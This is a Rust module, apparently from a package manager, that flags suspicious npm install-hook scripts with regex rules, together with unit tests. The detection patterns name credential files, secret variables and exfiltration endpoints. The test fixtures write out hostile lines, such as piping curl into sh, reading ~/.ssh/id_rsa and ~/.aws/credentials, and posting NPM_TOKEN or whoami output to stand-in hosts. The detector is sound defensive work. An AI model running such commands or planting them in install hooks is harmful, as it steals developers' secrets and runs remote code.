use aube_manifest::PackageJson;
use regex::Regex;
use std::sync::OnceLock;
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord)]
pub enum SuspicionKind {
ShellPipe,
EvalDecode,
CredentialFileRead,
SecretEnvRead,
ExfilEndpoint,
BareIpHttp,
}
impl SuspicionKind {
pub fn description(self) -> &'static str {
match self {
Self::ShellPipe => "pipes downloaded content to a shell (curl | sh)",
Self::EvalDecode => "decodes and evaluates a base64 payload at runtime",
Self::CredentialFileRead => "reads from a credential file (~/.ssh, ~/.aws, ~/.npmrc)",
Self::SecretEnvRead => "reads a secret-shaped environment variable",
Self::ExfilEndpoint => "contacts a known exfiltration endpoint",
Self::BareIpHttp => "contacts a bare-IP HTTP host",
}
}
pub fn category(self) -> &'static str {
match self {
Self::ShellPipe => "curl|sh",
Self::EvalDecode => "eval+decode",
Self::CredentialFileRead => "creds read",
Self::SecretEnvRead => "secret env",
Self::ExfilEndpoint => "exfil URL",
Self::BareIpHttp => "bare-IP HTTP",
}
}
}
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
pub struct Suspicion {
pub kind: SuspicionKind,
pub hook: &'static str,
}
const SNIFFED_HOOKS: &[&str] = &["preinstall", "install", "postinstall"];
struct Rule {
kind: SuspicionKind,
pattern: &'static str,
}
const RULES: &[Rule] = &[
Rule {
kind: SuspicionKind::ShellPipe,
pattern: r"(?i)\b(?:curl|wget)\b[^\n]*?\|\s*(?:[/\w]*/)?(?:sh|bash|zsh|node)\b",
},
Rule {
kind: SuspicionKind::EvalDecode,
pattern: r"(?i)\b(?:eval|Function)\s*\([^)]*\b(?:atob|Buffer\s*\.\s*from)\b",
},
Rule {
kind: SuspicionKind::CredentialFileRead,
pattern: r"(?:~|\$\{?HOME\}?)/(?:\.ssh|\.aws|\.npmrc|\.config/gh)\b",
},
Rule {
kind: SuspicionKind::SecretEnvRead,
pattern: r"\bprocess\s*\.\s*env\s*\.\s*[A-Z0-9_]*(?:TOKEN|SECRET|PASSWORD|API_?KEY|ACCESS_KEY|PRIVATE_KEY|AUTH)[A-Z0-9_]*\b",
},
Rule {
kind: SuspicionKind::ExfilEndpoint,
pattern: r"(?i)\b(?:discord(?:app)?\.com/api/webhooks/|api\.telegram\.org/bot|burpcollaborator\.net|interactsh\.com|oast\.(?:pro|live|fun|me|site|us|asia)|requestbin\.com|webhook\.site|pipedream\.net|ngrok\.io)",
},
Rule {
kind: SuspicionKind::BareIpHttp,
pattern: r#"https?://(?:\d{1,3}\.){3}\d{1,3}(?:[:/\s'"?#)]|$)"#,
},
];
fn compiled() -> &'static [(SuspicionKind, Regex)] {
static COMPILED: OnceLock<Vec<(SuspicionKind, Regex)>> = OnceLock::new();
COMPILED.get_or_init(|| {
RULES
.iter()
.map(|r| {
let re = Regex::new(r.pattern)
.expect("content_sniff rule failed to compile - fix the pattern");
(r.kind, re)
})
.collect()
})
}
pub fn sniff_lifecycle(manifest: &PackageJson) -> Vec<Suspicion> {
let mut out = Vec::new();
for hook in SNIFFED_HOOKS {
let Some(body) = manifest.scripts.get(*hook) else {
continue;
};
for (kind, re) in compiled() {
if re.is_match(body) {
out.push(Suspicion { kind: *kind, hook });
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
use std::collections::BTreeMap;
fn manifest_with(hook: &str, body: &str) -> PackageJson {
let mut scripts = BTreeMap::new();
scripts.insert(hook.to_string(), body.to_string());
PackageJson {
scripts,
..PackageJson::default()
}
}
fn kinds(s: &[Suspicion]) -> Vec<SuspicionKind> {
s.iter().map(|x| x.kind).collect()
}
#[test]
fn empty_manifest_is_clean() {
assert!(sniff_lifecycle(&PackageJson::default()).is_empty());
}
#[test]
fn benign_postinstall_is_clean() {
let m = manifest_with("postinstall", "node ./scripts/copy-types.js");
assert!(sniff_lifecycle(&m).is_empty());
}
#[test]
fn classic_curl_sh_flags() {
let m = manifest_with("postinstall", "curl https://example.com/install.sh | sh");
assert_eq!(kinds(&sniff_lifecycle(&m)), vec![SuspicionKind::ShellPipe]);
}
#[test]
fn wget_pipe_bash_flags() {
let m = manifest_with("install", "wget -qO- http://x.test/i | bash");
assert_eq!(kinds(&sniff_lifecycle(&m)), vec![SuspicionKind::ShellPipe]);
}
#[test]
fn path_qualified_shell_flags() {
let m = manifest_with(
"postinstall",
"curl https://example.com/install.sh | /bin/sh",
);
assert_eq!(kinds(&sniff_lifecycle(&m)), vec![SuspicionKind::ShellPipe]);
}
#[test]
fn curl_to_file_does_not_flag_pipe() {
let m = manifest_with(
"install",
"curl -L https://github.com/x/y/releases/download/v1/y-linux.tar.gz -o y.tar.gz",
);
assert!(sniff_lifecycle(&m).is_empty());
}
#[test]
fn eval_atob_flags() {
let m = manifest_with("preinstall", "node -e \"eval(atob('cGF5bG9hZA=='))\"");
assert_eq!(kinds(&sniff_lifecycle(&m)), vec![SuspicionKind::EvalDecode]);
}
#[test]
fn function_buffer_from_flags() {
let m = manifest_with(
"postinstall",
"node -e 'new Function(Buffer.from(p, \"base64\").toString())()'",
);
assert_eq!(kinds(&sniff_lifecycle(&m)), vec![SuspicionKind::EvalDecode]);
}
#[test]
fn ssh_dir_read_flags() {
let m = manifest_with("postinstall", "cat ~/.ssh/id_rsa | base64");
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::CredentialFileRead]
);
}
#[test]
fn home_npmrc_read_flags() {
let m = manifest_with("postinstall", "cat $HOME/.npmrc");
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::CredentialFileRead]
);
}
#[test]
fn brace_home_aws_read_flags() {
let m = manifest_with("postinstall", "tar c ${HOME}/.aws/credentials");
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::CredentialFileRead]
);
}
#[test]
fn config_gh_read_flags() {
let m = manifest_with("postinstall", "cat ~/.config/gh/hosts.yml");
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::CredentialFileRead]
);
}
#[test]
fn process_env_npm_token_flags() {
let m = manifest_with(
"postinstall",
"node -e 'fetch(\"https://h.test\", {body: process.env.NPM_TOKEN})'",
);
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::SecretEnvRead]
);
}
#[test]
fn process_env_bare_token_flags() {
let m = manifest_with(
"postinstall",
"node -e 'fetch(x, {body: process.env.TOKEN})'",
);
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::SecretEnvRead]
);
}
#[test]
fn process_env_token_with_trailing_suffix_flags() {
let m = manifest_with(
"postinstall",
"node -e 'console.log(process.env.NPM_TOKEN_VALUE)'",
);
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::SecretEnvRead]
);
}
#[test]
fn process_env_aws_secret_access_key_flags() {
let m = manifest_with(
"postinstall",
"node -e 'console.log(process.env.AWS_SECRET_ACCESS_KEY)'",
);
assert_eq!(
kinds(&sniff_lifecycle(&m)),
vec![SuspicionKind::SecretEnvRead]
);
}
#[test]
fn process_env_node_debug_does_not_flag() {
let m = manifest_with(
"postinstall",
"node -e 'if (process.env.NODE_DEBUG) console.log(\"debug\")'",
);
assert!(sniff_lifecycle(&m).is_empty());
}
#[test]
fn discord_webhook_flags() {
let m = manifest_with(
"postinstall",
"curl -X POST https://discord.com/api/webhooks/123/abc -d @-",
);
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::ExfilEndpoint));
}
#[test]
fn telegram_bot_flags() {
let m = manifest_with(
"postinstall",
"curl -s 'https://api.telegram.org/bot$T/sendMessage?chat_id=1&text=ok'",
);
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::ExfilEndpoint));
}
#[test]
fn webhook_site_flags() {
let m = manifest_with("postinstall", "curl https://webhook.site/abcd");
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::ExfilEndpoint));
}
#[test]
fn oast_pro_flags() {
let m = manifest_with("postinstall", "wget http://abc.oast.pro/$(whoami)");
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::ExfilEndpoint));
}
#[test]
fn bare_ip_http_flags() {
let m = manifest_with("install", "curl http://192.0.2.5:8080/payload");
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn bare_ip_no_path_followed_by_flag_flags() {
let m = manifest_with("install", "curl http://192.0.2.5 -o payload");
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn bare_ip_inside_quoted_url_flags() {
let m = manifest_with("postinstall", "fetch('http://192.0.2.5')");
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn bare_ip_on_separate_line_flags() {
let m = manifest_with(
"postinstall",
"node setup.js\nwget http://192.0.2.5\necho done",
);
let k = kinds(&sniff_lifecycle(&m));
assert!(k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn dns_name_does_not_flag_as_bare_ip() {
let m = manifest_with("install", "curl http://registry.npmjs.org/path");
let k = kinds(&sniff_lifecycle(&m));
assert!(!k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn dns_with_ip_prefix_does_not_flag_as_bare_ip() {
let m = manifest_with("install", "curl http://1.2.3.4.example.com/path");
let k = kinds(&sniff_lifecycle(&m));
assert!(!k.contains(&SuspicionKind::BareIpHttp));
}
#[test]
fn multiple_hooks_report_separately() {
let mut scripts = BTreeMap::new();
scripts.insert(
"preinstall".to_string(),
"curl https://x.test/i | sh".to_string(),
);
scripts.insert("postinstall".to_string(), "cat ~/.ssh/id_rsa".to_string());
let m = PackageJson {
scripts,
..PackageJson::default()
};
let s = sniff_lifecycle(&m);
assert_eq!(s.len(), 2);
assert!(
s.iter()
.any(|x| x.hook == "preinstall" && x.kind == SuspicionKind::ShellPipe)
);
assert!(
s.iter()
.any(|x| x.hook == "postinstall" && x.kind == SuspicionKind::CredentialFileRead)
);
}
#[test]
fn prepare_hook_is_not_sniffed() {
let m = manifest_with("prepare", "curl https://x.test/i | sh");
assert!(sniff_lifecycle(&m).is_empty());
}
#[test]
fn descriptions_and_categories_are_non_empty() {
for kind in [
SuspicionKind::ShellPipe,
SuspicionKind::EvalDecode,
SuspicionKind::CredentialFileRead,
SuspicionKind::SecretEnvRead,
SuspicionKind::ExfilEndpoint,
SuspicionKind::BareIpHttp,
] {
assert!(!kind.description().is_empty());
assert!(!kind.category().is_empty());
}
}
}